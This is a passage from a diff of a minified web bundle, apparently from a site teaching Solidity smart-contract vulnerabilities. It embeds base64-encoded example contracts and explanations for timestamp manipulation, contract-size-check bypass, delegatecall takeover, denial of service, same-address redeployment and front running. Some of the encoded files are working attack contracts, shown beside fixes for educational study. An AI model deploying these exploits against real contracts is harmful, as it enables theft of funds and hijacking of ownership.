mFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFkZHJlc3ModGhpcykuYmFsYW5jZX0oIiIpOwogICAgICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIH0KICAgIH0KfQo="}],nk=`

                                Vulnerability

                                +`,sk=({prev:s,next:a})=>i.jsx(u,{version:Dw,title:Ow,description:Pw,html:qw,prev:s,next:a,codes:$w}),ak="0.8.20",nk="Block Timestamp Manipulation",lk="An example of a Solidity contract vulnerable to block timestamp manipulation",pk=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlI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NSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFkZHJlc3ModGhpcykuYmFsYW5jZX0oIiIpOwogICAgICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIH0KICAgIH0KfQo="}],ek=`

                                Vulnerability

                                block.timestamp can be manipulated by miners with the following constraints

                                • it cannot be stamped with an earlier time than its parent
                                • @@ -7283,7 +7283,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
                                  • Don't use block.timestamp for a source of entropy and random number
                                  -`,lk=({prev:s,next:a})=>i.jsx(u,{version:$w,title:qw,description:sk,html:nk,prev:s,next:a,codes:ak}),pk="0.8.20",ek="Bypass Contract Size Check",ck="An example of bypassing contract size check",tk=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],ok=`

                                  Vulnerability

                                  +`,ck=({prev:s,next:a})=>i.jsx(u,{version:ak,title:nk,description:lk,html:ek,prev:s,next:a,codes:pk}),tk="0.8.20",ok="Bypass Contract Size Check",rk="An example of bypassing contract size check",ik=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],hk=`

                                  Vulnerability

                                  If an address is a contract then the size of code stored at the address will be greater than 0 right?

                                  Let's see how we can create a contract with code size returned by extcodesize equal to 0.

                                  // SPDX-License-Identifier: MIT
                                  @@ -7331,7 +7331,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
                                           Target(_target).protected();
                                       }
                                   }
                                  -
                                  `,rk=({prev:s,next:a})=>i.jsx(u,{version:pk,title:ek,description:ck,html:ok,prev:s,next:a,codes:tk}),ik="0.8.20",hk="Delegatecall",gk="An example of exploits using delegatecall in Solidity",dk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdX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AvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],Ik=`

                                  Vulnerability

                                  +
                                `,gk=({prev:s,next:a})=>i.jsx(u,{version:tk,title:ok,description:rk,html:hk,prev:s,next:a,codes:ik}),dk="0.8.20",Ik="Delegatecall",Ck="An example of exploits using delegatecall in Solidity",jk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTW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GF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],uk=`

                                Vulnerability

                                delegatecall is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

                                You must keep 2 things in mind when using delegatecall

                                @@ -7477,7 +7477,7 @@ change the owner.
                                • Use stateless Library
                                -`,Ck=({prev:s,next:a})=>i.jsx(u,{version:ik,title:hk,description:gk,html:Ik,prev:s,next:a,codes:dk}),jk="0.8.20",uk="Denial of Service",yk="An example of denial of service hack in Solidity",mk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcm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ICAgfQp9Cg=="},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],Ak=`

                                Vulnerability

                                +`,yk=({prev:s,next:a})=>i.jsx(u,{version:dk,title:Ik,description:Ck,html:uk,prev:s,next:a,codes:jk}),mk="0.8.20",Ak="Denial of Service",bk="An example of denial of service hack in Solidity",wk=[{fileName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ICBraW5nT2ZFdGhlci5jbGFpbVRocm9uZXt2YWx1ZTogbXNnLnZhbHVlfSgpOwogICAgfQp9Cg=="},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],kk=`

                                Vulnerability

                                There are many ways to attack a smart contract to make it unusable.

                                One exploit we introduce here is denial of service by making the function to send Ether fail.

                                // SPDX-License-Identifier: MIT
                                @@ -7568,7 +7568,7 @@ Ether sent from KingOfEther before the new king is set.
                                         require(sent, "Failed to send Ether");
                                     }
                                 }
                                -
                                `,bk=({prev:s,next:a})=>i.jsx(u,{version:jk,title:uk,description:yk,html:Ak,prev:s,next:a,codes:mk}),wk="0.8.20",kk="Deploy Different Contracts at the Same Address",Zk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",Wk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7Ci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cgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],Bk=`

                                Contract address deployed with create is computed in the following way.

                                +`,Zk=({prev:s,next:a})=>i.jsx(u,{version:mk,title:Ak,description:bk,html:kk,prev:s,next:a,codes:wk}),Wk="0.8.20",Bk="Deploy Different Contracts at the Same Address",Gk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",fk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0t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SBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],Vk=`

                                Contract address deployed with create is computed in the following way.

                                contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))
                                 

                                where sender is the address of the deployer and nonce is the number of transactions sent by sender.

                                Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

                                @@ -7681,7 +7681,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack selfdestruct(payable(address(0))); } } -`,Gk=({prev:s,next:a})=>i.jsx(u,{version:wk,title:kk,description:Zk,html:Bk,prev:s,next:a,codes:Wk}),fk="0.8.20",Vk="Front Running",vk="An example of a Solidity contract vulnerable to front running",Yk=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZ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ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKFN0cmluZ3MudG9IZXhTdHJpbmcobXNnLnNlbmRlciksIF9zb2x1dGlvbiwgX3NlY3JldCkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoc29sdXRpb25IYXNoID09IGNvbW1pdC5zb2x1dGlvbkhhc2gsICJIYXNoIGRvZXNuJ3QgbWF0Y2giKTsKCiAgICAgICAgcmVxdWlyZShrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIpOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IHBheWFibGUobXNnLnNlbmRlcikuY2FsbHt2YWx1ZTogcmV3YXJkfSgiIik7CiAgICAgICAgaWYgKCFzZW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IGFkZHJlc3MoMCk7CiAgICAgICAgICAgIGVuZGVkID0gZmFsc2U7CiAgICAgICAgICAgIHJldmVydCgiRmFpbGVkIHRvIHNlbmQgZXRoZXIuIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],Rk=`

                                Vulnerability

                                +`,vk=({prev:s,next:a})=>i.jsx(u,{version:Wk,title:Bk,description:Gk,html:Vk,prev:s,next:a,codes:fk}),Yk="0.8.20",Rk="Front Running",Xk="An example of a Solidity contract vulnerable to front running",Hk=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXN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HJpbmcobXNnLnNlbmRlciksIF9zb2x1dGlvbiwgX3NlY3JldCkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoc29sdXRpb25IYXNoID09IGNvbW1pdC5zb2x1dGlvbkhhc2gsICJIYXNoIGRvZXNuJ3QgbWF0Y2giKTsKCiAgICAgICAgcmVxdWlyZShrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIpOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IHBheWFibGUobXNnLnNlbmRlcikuY2FsbHt2YWx1ZTogcmV3YXJkfSgiIik7CiAgICAgICAgaWYgKCFzZW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IGFkZHJlc3MoMCk7CiAgICAgICAgICAgIGVuZGVkID0gZmFsc2U7CiAgICAgICAgICAgIHJldmVydCgiRmFpbGVkIHRvIHNlbmQgZXRoZXIuIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],Fk=`

                                Vulnerability

                                Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

                                @@ -7857,7 +7857,7 @@ before the original. } } } -`,Xk=({prev:s,next:a})=>i.jsx(u,{version:fk,title:Vk,description:vk,html:Rk,prev:s,next:a,codes:Yk}),Hk="0.8.20",Fk="Hiding Malicious Code with External Contract",Nk="An example of exploit where malicious code is hidden in an external contract in Solidity",Kk=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb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ICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],Sk=`

                                Vulnerability

                                +`,Nk=({prev:s,next:a})=>i.jsx(u,{version:Yk,title:Rk,description:Xk,html:Fk,prev:s,next:a,codes:Hk}),Kk="0.8.20",Sk="Hiding Malicious Code with External Contract",xk="An example of exploit where malicious code is hidden in an external contract in 